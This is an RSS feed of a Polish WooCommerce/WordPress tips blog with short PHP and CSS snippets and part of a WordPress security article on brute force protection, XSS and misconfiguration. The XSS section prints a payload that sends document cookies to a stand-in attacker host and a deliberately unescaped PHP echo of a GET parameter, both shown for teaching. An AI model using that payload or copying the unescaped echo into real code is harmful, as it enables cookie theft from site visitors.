<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Woocommerce | Kobieta Koduje</title>
	<atom:link href="https://sklep.kobietakoduje.pl/category/kobietakoduje/sklep-internetowy/woocommerce/feed/" rel="self" type="application/rss+xml" />
	<link>https://sklep.kobietakoduje.pl</link>
	<description>Strony www i sklepy internetowe &#124; Marketing internetowy &#124; Reklama tradycyjna</description>
	<lastBuildDate>Fri, 15 Nov 2024 16:56:27 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.2</generator>

<image>
	<url>https://sklep.kobietakoduje.pl/wp-content/uploads/logo-kobietakoduje.svg</url>
	<title>Woocommerce | Kobieta Koduje</title>
	<link>https://sklep.kobietakoduje.pl</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Przekształcenie znaków w input number na plus i minus</title>
		<link>https://sklep.kobietakoduje.pl/przeksztalcenie-znakow-w-input-number-na-plus-i-minus/</link>
					<comments>https://sklep.kobietakoduje.pl/przeksztalcenie-znakow-w-input-number-na-plus-i-minus/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Tue, 05 Nov 2024 11:06:10 +0000</pubDate>
				<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=7638</guid>

					<description><![CDATA[<p>Jeśli chcesz zmienić wygląd i sposób zmiany ilości w inpucie z trójkącików znajdujących się zaraz za cyfrą na plus i minus znajdujące się obok niej to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę: /* Show Buttons */ add_action( 'woocommerce_before_add_to_cart_quantity', 'display_quantity_plus' ); function display_quantity_plus() { echo '&#60;button type=&#34;button&#34; class=&#34;plus&#34; &#62;+&#60;/button&#62;'; } add_action( 'woocommerce_after_add_to_cart_quantity', 'display_quantity_minus' [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="7638" class="elementor elementor-7638" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-bb63666 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="bb63666" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c147ed9" data-id="c147ed9" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-ae84435 elementor-widget elementor-widget-text-editor" data-id="ae84435" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Jeśli chcesz zmienić wygląd i sposób zmiany ilości w inpucie z trójkącików znajdujących się zaraz za cyfrą na plus i minus znajdujące się obok niej to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę:								</div>
				</div>
				<div class="elementor-element elementor-element-a68238c elementor-widget elementor-widget-code-block-for-elementor" data-id="a68238c" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>/* Show Buttons */
add_action( &#039;woocommerce_before_add_to_cart_quantity&#039;, &#039;display_quantity_plus&#039; );

function display_quantity_plus() {
     echo &#039;&lt;button type=&quot;button&quot; class=&quot;plus&quot; &gt;+&lt;/button&gt;&#039;;
}

add_action( &#039;woocommerce_after_add_to_cart_quantity&#039;, &#039;display_quantity_minus&#039; );

function display_quantity_minus() {
     echo &#039;&lt;button type=&quot;button&quot; class=&quot;minus&quot; &gt;-&lt;/button&gt;&#039;;
}
//Note: to place minus @ left and plus @ right replace above add_actions with:
//add_action( &#039;woocommerce_before_add_to_cart_quantity&#039;, &#039;display_quantity_minus&#039; );
//add_action( &#039;woocommerce_after_add_to_cart_quantity&#039;, &#039;display_quantity_plus&#039; );

add_action( &#039;wp_footer&#039;, &#039;add_cart_quantity_plus_minus&#039; );

function add_cart_quantity_plus_minus() {
 // Only run this on the single product page
 if ( ! is_product() ) return;
 ?&gt;
  &lt;script type=&quot;text/javascript&quot;&gt;

  jQuery(document).ready(function($){   

     $(&#039;form.cart&#039;).on( &#039;click&#039;, &#039;button.plus, button.minus&#039;, function() {

        // Get current quantity values
        var qty = $( this ).closest( &#039;form.cart&#039; ).find( &#039;.qty&#039; );
        var val   = parseFloat(qty.val());
        var max = parseFloat(qty.attr( &#039;max&#039; ));
        var min = parseFloat(qty.attr( &#039;min&#039; ));
        var step = parseFloat(qty.attr( &#039;step&#039; ));

        // Change the value if plus or minus
        if ( $( this ).is( &#039;.plus&#039; ) ) {
           if ( max &amp;&amp; ( max &lt;= val ) ) {
              qty.val( max );
           } else {
              qty.val( val + step );
           }
        } else {
           if ( min &amp;&amp; ( min &gt;= val ) ) {
              qty.val( min );
           } else if ( val &gt; 1 ) {
              qty.val( val - step );
           }
        }

     });

  });

  &lt;/script&gt;    &lt;?php
}</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-4e53b63 elementor-widget elementor-widget-text-editor" data-id="4e53b63" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Nie zapomnij też o edycji wyglądu tych elementów:								</div>
				</div>
				<div class="elementor-element elementor-element-c278d36 elementor-widget elementor-widget-code-block-for-elementor" data-id="c278d36" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-css'>  .quantity input::-webkit-outer-spin-button,
    .quantity input::-webkit-inner-spin-button {
        display: none;
        margin: 0;
    }
    .quantity input.qty {
        appearance: textfield;
        -webkit-appearance: none;
        -moz-appearance: textfield; 
}
button.plus, button.minus, button:hover.plus, button:hover.minus{
	    background-color: #009CCD;
    font-family: &quot;Raleway&quot;, Sans-serif;
    font-weight: 600;
    color: #fff;
    border: 0px;
	border-radius: 45px;
padding: 5px 15px;
    font-size: 20px;
    margin: 0px;
}

input[type=number],input[type=number]:active,input[type=number]:hover{
padding: 0 15px;
}</code></pre>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/przeksztalcenie-znakow-w-input-number-na-plus-i-minus/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jak usunąć nazwisko klienta w opinii woocommerce</title>
		<link>https://sklep.kobietakoduje.pl/jak-usunac-nazwisko-klienta-w-opinii-woocommerce/</link>
					<comments>https://sklep.kobietakoduje.pl/jak-usunac-nazwisko-klienta-w-opinii-woocommerce/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Wed, 14 Jun 2023 14:56:14 +0000</pubDate>
				<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3829</guid>

					<description><![CDATA[<p>Jeśli korzystasz z opini klientów na stronie produktów w woocommerce i chcesz skrócić nazwisko swoich klientów jedynie do inicjału np. Justyna J. to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę: // Zamiana nazwiska klienta na inicjał nazwiska w opieniach klienta add_filter('get_comment_author', 'my_comment_author', 10, 1); function my_comment_author( $author = '' ) { // Pobierasz [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3829" class="elementor elementor-3829" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-bb63666 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="bb63666" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c147ed9" data-id="c147ed9" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-ae84435 elementor-widget elementor-widget-text-editor" data-id="ae84435" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Jeśli korzystasz z opini klientów na stronie produktów w woocommerce i chcesz skrócić nazwisko swoich klientów jedynie do inicjału np. Justyna J. to w pliku functions.php Twojego szablonu, należy dodać poniższą formułę:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-a68238c elementor-widget elementor-widget-code-block-for-elementor" data-id="a68238c" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>// Zamiana nazwiska klienta na inicjał nazwiska w opieniach klienta

add_filter(&#039;get_comment_author&#039;, &#039;my_comment_author&#039;, 10, 1);

function my_comment_author( $author = &#039;&#039; ) {
// Pobierasz id komentarza z WP_Query
$comment = get_comment( $comment_ID );
if (!empty($comment-&gt;comment_author) ) {
if($comment-&gt;user_id &gt; 0){
$user=get_userdata($comment-&gt;user_id);
$author=$user-&gt;first_name.&#039; &#039;.substr($user-&gt;last_name,0,1).&#039;.&#039;; // to co zmieniasz
} else {
$author = __(&#039;Anonymous&#039;);
}
} else {
$author = $comment-&gt;comment_author;
}

return $author;
}</code></pre>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/jak-usunac-nazwisko-klienta-w-opinii-woocommerce/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Przycisk kontaktu na stronie produktu</title>
		<link>https://sklep.kobietakoduje.pl/przycisk-kontaktu-na-stronie-produktu/</link>
					<comments>https://sklep.kobietakoduje.pl/przycisk-kontaktu-na-stronie-produktu/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Thu, 09 Mar 2023 19:43:06 +0000</pubDate>
				<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3791</guid>

					<description><![CDATA[<p>Dodaj poniższy kod w pliku functions.php: add_action( 'woocommerce_single_product_summary', 'wpso_add_seller_button', 15 ); function wpso_add_seller_button() { echo '&#60;a class=&#34;button&#34; href=&#34;Tw&#243;jLink&#34;&#62;Skontaktuj się&#60;/a&#62;'; }</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3791" class="elementor elementor-3791" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-6e0d03a3 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="6e0d03a3" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3c4e0453" data-id="3c4e0453" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-354467fe elementor-widget elementor-widget-text-editor" data-id="354467fe" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Dodaj poniższy kod w pliku functions.php:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-b677343 elementor-widget elementor-widget-code-block-for-elementor" data-id="b677343" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>add_action( &#039;woocommerce_single_product_summary&#039;, &#039;wpso_add_seller_button&#039;, 15 );
function wpso_add_seller_button() {
echo &#039;&lt;a class=&quot;button&quot; href=&quot;Tw&oacute;jLink&quot;&gt;Skontaktuj się&lt;/a&gt;&#039;;
}</code></pre>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/przycisk-kontaktu-na-stronie-produktu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bezpieczeństwo w wordpress cz. II</title>
		<link>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii/</link>
					<comments>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Wed, 02 Mar 2022 17:04:57 +0000</pubDate>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Strona www]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<category><![CDATA[Wordpress www]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3255</guid>

					<description><![CDATA[<p>WordPress nie należy do aplikacji o największym poziomie bezpieczeństwa, i wynika to z kilku historycznych powodów: Miał być narzędziem do prowadzenia blogów czy też stron wizytówkowych, a nie sklepem internetowym czy czymkolwiek innym co zawierałoby wrażliwe dane o użytkownikach. Powstał w 2003 roku, a 20 lat w branży IT to jak epoka dla innych dziedzin [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3255" class="elementor elementor-3255" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-ddcc5cd elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="ddcc5cd" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-ab2b2fa" data-id="ab2b2fa" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-ecbbf59 elementor-widget elementor-widget-text-editor" data-id="ecbbf59" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>WordPress nie należy do aplikacji o największym poziomie bezpieczeństwa, i wynika to z kilku historycznych powodów:</p><p>Miał być narzędziem do prowadzenia blogów czy też stron wizytówkowych, a nie sklepem internetowym czy czymkolwiek innym co zawierałoby wrażliwe dane o użytkownikach.<br />Powstał w 2003 roku, a 20 lat w branży IT to jak epoka dla innych dziedzin biznesowych. Internet przeszedł ewolucję w kwestii cyberbezpieczeństwa, i tak jak kiedyś był to jeden wielki znak zapytania, tak teraz zwraca się na to dużo większą (choć nadal niewystarczającą) uwagę.<br />Posiada rozproszony autorytet, lub jak kto woli &#8211; powstał jako open source. Umożliwia nam to rozszerzenie naszej aplikacji o kod zarówno programistów tworzących oprogramowanie komercyjne w sposób w pełni profesjonalny, jak i tych, którzy dopiero się tego uczą.</p><p>Przejdźmy przez najpopularniejsze metody ochrony przed poszczególnymi atakami:</p><p>Będziemy starać się unikać instalacji dodatkowych wtyczek z racji, że są one potencjalnie możliwymi wektorami ataku.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-ac5d50c elementor-widget elementor-widget-heading" data-id="ac5d50c" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Bruteforce</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-e1937ea elementor-widget elementor-widget-text-editor" data-id="e1937ea" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Atak typu bruteforce czyli atak słownikowy polegający na odgadywania haseł “losowo”. Jest to najprymitywniejsza forma ataku jakiej może dopuścić się złośliwy użytkownik i jednoczesnie jedna z łatwiejszych do ochrony bo wystarczy… ustawić ponadprzeciętne hasło.</p><p>Ma to na celu uczynić próby atakującego nieopłacalnymi w czasie, lecz jeśli jesteś trochę bardziej świadomym programistą to możesz zauważyć pewien problem &#8211; ataki typu bruteforce są z natury podobne do ataków typu DDoS, gdyż niezamierzonym efektem ubocznym jest wygenerowanie bardzo dużego ruchu na stronie co skutkuje zaburzeniem pracy serwera.</p><p>Ale jak to?</p><p>Każdy użytkownik odwiedzający strony WordPressowe niezależnie od tego czy odwiedza stronę ze zdjęciami, swój koszyk, formularz kontaktowy lub dowolny inny adres na naszej stronie “rezewuje” sobie kilkanaście / kilkadziesiąt megabajtów pamięci (w zależności od konfiguracji, ilośći wtyczek, itp.), jakiś procent zużycia procesora, i coś tam przepustowości sieci, w skrócie &#8211; zabiera nam zasoby.</p><p>Kiedy jeden użytkownik próbuje 100 razy odgadnąć hasło to problem nie nastaje bo robi to synchronicznie (jedna próba za drugą), natomiast w przypadku tego typu ataków możemy spodziewać się symulacji wydarzeń w których serwer otrzymuje żądania od kilkudziesięciu użytkowników jednocześnie co często kończy się spadkiem wydajności strony, albo nawet jej crashem.</p><p>Przed klasycznym atakiem DDoS powinien ochronić nas w przypadku serwerów współdzielonych nasz dostawca hostingowy, gdyż ma całkowitą kontrolę nad infrastrukturą, natomiast przed próbą włamania się do panelu administracyjnego musimy już radzić sobie sami.</p><p><strong>Metod jest kilka:</strong><br /><strong>Ustawienie hasła dla adresu /wp-admin za pomocą htpasswd</strong></p><p>Aplikacja htpasswd pozwala nam wygenerować plik zawierający nazwę użytkownika, oraz hash hasła służącego do autoryzacji pod danym adresem URL. Oznacza to, że zanim dostaniemy możliwość wpisania danych do naszej strony ujrzymy następujący popup na stronie:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-cefb8fc elementor-widget elementor-widget-image" data-id="cefb8fc" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img fetchpriority="high" decoding="async" width="446" height="234" src="https://sklep.kobietakoduje.pl/wp-content/uploads/zmiana-adresu-do-logowania-wp.png" class="attachment-large size-large wp-image-3256" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/zmiana-adresu-do-logowania-wp.png 446w, https://sklep.kobietakoduje.pl/wp-content/uploads/zmiana-adresu-do-logowania-wp-300x157.png 300w" sizes="(max-width: 446px) 100vw, 446px" />															</div>
				</div>
				<div class="elementor-element elementor-element-d956255 elementor-widget elementor-widget-text-editor" data-id="d956255" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>I co to zmienia? Użytkownik nadal może zgadywać hasło</p><p>Owszem, lecz w tym przypadku nie jest zaangażowany do tego silnik PHP a jedynie serwer Apache co krytycznie zmniejsza ilość pożeranych zasobów przez złośliwe boty odwiedzające naszą stronę. Często sposób w jaki są oskryptowane sprawia, że po otrzymaniu wymagania dodatkowego uwierzytelnienia porzucają dalsze próby włamania się na stronę.</p><p>No ok, więc jak to dodać na mojej stronie?</p><p>Zarówno na Linuxie jak i Windowsie aplikacja ma nazwę htpasswd i jest dostarczana wraz z serwerem Apache, lub oddzielnie w paczce xxx-utils (linux)</p><p>https://httpd.apache.org/docs/2.4/programs/htpasswd.html</p><p>Popularne ścieżka w systemie Windows to C:/Xampp/bin/htpasswd.exe</p><p>Wywołujemy ten program następująco:</p><p>htpasswd.exe -c -B C:\Projects\Wordpress\.htpasswd John</p><p>Zostaniemy poproszeni o dwukrotne wpisanie hasła, po czym zostanie utworzony w podanej ścieżce plik .htpasswd zawierający mniej więcej taką zawartość:</p><p>John:$apr1$a1iNsTt2$H.MDgnxQ6jafyHmK0R78i1</p><p>Gdzie po lewo jest nazwa użytkownika do logowania, a po prawo hash zapisany za pomocą algorytmu bcrypt (-B)</p><p>I co z tym plikiem?</p><p>Tak gotowy plik wrzucamy do głównego katalogu i instruujemy serwer Apache by chronił nim poszczególne adresy URL</p><p>Uwaga: jeżeli mamy taką możliwość to nie przechowujemy tego pliku w katalogu w którym znajduje się nasza strona www. Odpowiednio skonfigurowany serwer Apache powinien ten plik odczytywać z lokacji niedostępnej dla silnika PHP. Niestety w przypadku serwerów współdzielonych zazwyczaj dostajemy FTP i krzyż na drogę więc zostaje nam tylko takie rozwiązanie</p><p>No dobra dobra, co z tym instruowaniem Apacha?</p><p>Edytujemy treść pliku .htaccess by zawierał następującą treść na początku:</p><p>SetEnvIf Request_URI ^/wp-admin require_auth=true</p><p>AuthUserFile /var/www/html/.htpasswd<br />AuthName &#8222;Hello there&#8221;<br />AuthType Basic</p><p>Order Deny,Allow<br />Deny from all<br />Satisfy any<br />Require valid-user<br />Allow from env=!require_auth</p><p>order allow,deny<br />deny from all</p><p>Ta reguła mówi nam: “Jeśli adres URL zaczyna się od wp-admin, to wymuś autoryzację za pomocą pliku /var/www/html/.htpasswd”, oraz “Zabroń bezpośredniego dostępu do pliku .htaccess” tak by nie można było go podejrzeć manipulując adresem URL</p><p>Tutaj ścieżka do pliku .htpasswd będzie prawdopodobnie zupełnie inna dla środowisk w których posiadacie swoje strony. W przypadku, gdy nie zostało to zablokowane to z pomocą Filezilli można kliknąć na dowolnym katalogu i pobrać jego pełną ścieżkę na serwerze. Podanie ścieżki relatywnej odbywa się względem katalogu na którym jest serwer (nie strona), a na hostingu współdzielonym nie powinniśmy mieć do tej lokacji dostępu więc jesteśmy tu skazani na użycie ścieżki absolutnej, o której zmianie warto pamiętać przy migracji na inne serwery.</p><p><strong>Zmiana adresu /wp-admin na inny</strong></p><p>A co gdyby tak zmienić adres do logowania się zamiast zakładać na niego dodatkowe hasła, które musimy pamiętać? Da się, aczkolwiek jest to tzw. security by obscurity czyli bezpieczeństwo przez niejawność &#8211; szeroko krytykowane jako niewystarczające podejście do tematu cyberbezpieczeństwa. Niemniej warto to zrobić jako uzupełnienie do innych metod ochrony naszej strony.</p><p>Użyjemy w tym celu wtyczki WPS Hide Login</p><p>Jest ona o tyle prosta w konfiguracji, że wystarczy skonfigurować adres do logowania na inny ja poniżej na zdjęciu:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-c86523c elementor-widget elementor-widget-image" data-id="c86523c" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img decoding="async" width="512" height="38" src="https://sklep.kobietakoduje.pl/wp-content/uploads/wps-hide-login-ukryj-url-logowania.png" class="attachment-large size-large wp-image-3257" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/wps-hide-login-ukryj-url-logowania.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/wps-hide-login-ukryj-url-logowania-300x22.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-bcef7e8 elementor-widget elementor-widget-text-editor" data-id="bcef7e8" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Klikamy na Zapisz Zmiany i mamy nowy adres URL do logowania się


								</div>
				</div>
				<div class="elementor-element elementor-element-5489091 elementor-widget elementor-widget-heading" data-id="5489091" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">CROSS-SITE / XSS</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-2172ab3 elementor-widget elementor-widget-code-block-for-elementor" data-id="2172ab3" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='theme-okaidia' data-show-toolbar='no'><code class='language-javascript'>&lt;pre&gt;
foo.baz?message=&lt;script&gt;fetch(&lsquo;moja-zla-strona.bu?ciasteczka=&#039; + document.cookies)&lt;/script&gt;
&lt;/pre&gt;</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-81075e7 elementor-widget elementor-widget-text-editor" data-id="81075e7" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Gdyby można było jakoś zgeneralizować czym są ataki typu Cross Site, to prawdopodobnie można by je opisać jako wstrzyknięcie złośliwej treści na stronę.</p><p>Powiedzmy, że posiadamy własną domenę. Nie daje to nam w żaden sposób dostępu do ciasteczek użytkownika z domeny innej strony &#8211; ciasteczka są zawężone do domeny tak by każda strona wiedziała tylko o swoich ciasteczkach.</p><p>Jednak posiadanie własnej domeny pozwala nam podrzucić ofierze link, który stworzy nam pewien obszar ataku.</p><p>Powiedzmy, że strona którą chcemy zaatakować jest pod domeną foo.baz i zawiera kod w stylu:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-acebb52 elementor-widget elementor-widget-code-block-for-elementor" data-id="acebb52" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='theme-okaidia' data-show-toolbar='no'><code class='language-php'>&lt;?php
echo &ldquo;&lt;h1&gt;Sklep z bulbultorami&lt;/h1&gt;&rdquo;;
echo $_GET[&lsquo;message&rsquo;];
?&gt;


</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-888bc16 elementor-widget elementor-widget-text-editor" data-id="888bc16" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Jeśli wejdziemy na taką stronę poprzez:
<pre>
foo.baz?message=Czesc
</pre>
to zobaczymy przyjazną naszym oczom wiadomość, natomiast jeśli użyjemy (uproszczony przykład dla czytelności):								</div>
				</div>
				<div class="elementor-element elementor-element-02aebf1 elementor-widget elementor-widget-code-block-for-elementor" data-id="02aebf1" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='theme-okaidia' data-show-toolbar='no'><code class='language-php'>
foo.baz?message=&lt;script&gt;fetch(&lsquo;moja-zla-strona.bu?ciasteczka=&#039; + document.cookies)&lt;/script&gt;</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-57be8ef elementor-widget elementor-widget-text-editor" data-id="57be8ef" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>to na serwer atakującego zostaną wysłane dane o naszych ciasteczkach.</p><p>Co prawda CMSy takie jak prestashop starają się zabezpieczać ciasteczka wiążąc je z adresem IP użytkownika, lecz w WordPressie tego brak. W ten czy inny sposób dane użytkownika należy chronić.</p><p>Ale ja nie wiem czy mój szablon ma takie wady</p><p>I tu z pomocą przychodzą nam strony zawierające informacje o tzw. CVE (Common Vulnerabilities and Exposures), czyli publicznych zgłoszeniach o lukach w bezpieczeństwie.</p><p>Popularne strony z CVE:</p><p><strong>https://cve.mitre.org/</strong><br /><strong>https://www.cvedetails.com/</strong><br /><strong>https://www.cve.org/</strong></p><p>Co prawda te strony nie pokazują dokładnie jak wykorzystać daną lukę, ale do większości tych informacji da się dojść bo wraz z publikacją CVE traci ona na wartości.</p><p>Dla przykładu możemy dość łatwo znaleźć informacje o ostatniej podatności w WordPressie we wtyczce UpdraftPlus:</p><p><strong>https://www.cvedetails.com/cve/CVE-2022-0633/</strong></p><p>lub</p><p><strong>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0633</strong></p><p>Z racji, że numery CVE są ujednolicone, to wszystkie strony powinny je zawierać a różnić się co najwyżej samym działaniem wyszukiwarki, lub innymi udogodnieniami. Gdybyśmy chcieli zainteresować się API odnośnie CVE to najbliżej było by nam do <strong>https://nvd.nist.gov/</strong> i projektów jak <strong>https://github.com/opencve/opencve</strong></p><p>Sugerujemy znaleźć dogodną dla nas metodę śledzenia nowych CVE i w miarę dostępności aktualizowanie wtyczek podatnych na ataki, lub ich wyłączenie na czas dopóki nie pojawi się aktualizacja.</p><p>W przypadku, gdy nie chcemy odwiedzać powyższych stron, lecz chcemy mieć mimo wszystko jakiś monitoring, np. z pomocą płatnej wersji <strong>https://pl.wordpress.org/plugins/better-wp-security/</strong> , aczkolwiek taki skaner nie jest zbyt skomplikowany do napisania samemu jeśli tylko wejdziemy w posiadanie dostępów do jednego z API CVE.</p><p>W tej kwestii to by było wszystko co można powiedzieć o wtyczkach, których sami nie piszemy a jedynie instalujemy. </p>								</div>
				</div>
				<div class="elementor-element elementor-element-c42a216 elementor-widget elementor-widget-heading" data-id="c42a216" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Zła konfiguracja</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-12c4230 numerowanie elementor-widget elementor-widget-text-editor" data-id="12c4230" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Z racji, że w założeniu korzystamy ze środowisk współdzielonych, gdzie dostawca winien jest dołożyć trochę starań o to by serwer WWW był poprawnie skonfigurowany pod względem bezpieczeństwa, zostanie tu stworzona lista lista najpopularniejszych błędów w konfiguracji aplikacji webowych

<ol>Złe uprawnienia do plików
<ul>
<li>Jeśli kiedyś rozwiązałeś/aś problem za pomocą nadania pełnych uprawnień każdemu do katalogu (chmod 777), to prawdopodobnie było to złe rozwiązanie</li>
<li>Zazwyczaj dla katalogów ustawia się 755, a dla plików 644, lecz nie jest to złota zasada i dla poszczególnych plików w WP i PS mogą być to inne uprawnienia.</li>
</ul>
</ol>
<ol>
Włączony tryb debugowania
<ul>
<li>Za każdym razem, gdy w naszym systemie wystąpi błąd to wyświetli się on na ekranie. Stety / niestety potrafi on pokazać więcej informacji niż jest to konieczne, w tym dane dostępowe</li>
</ul>
</ol>
<ol>Brak środowiska testowego
<ul>
<li>W miarę możliwości zawsze staramy się nowe zmiany testować na lokalnym środowisku</li>
</ul>
</ol>
<ol>
Backup
<ul>
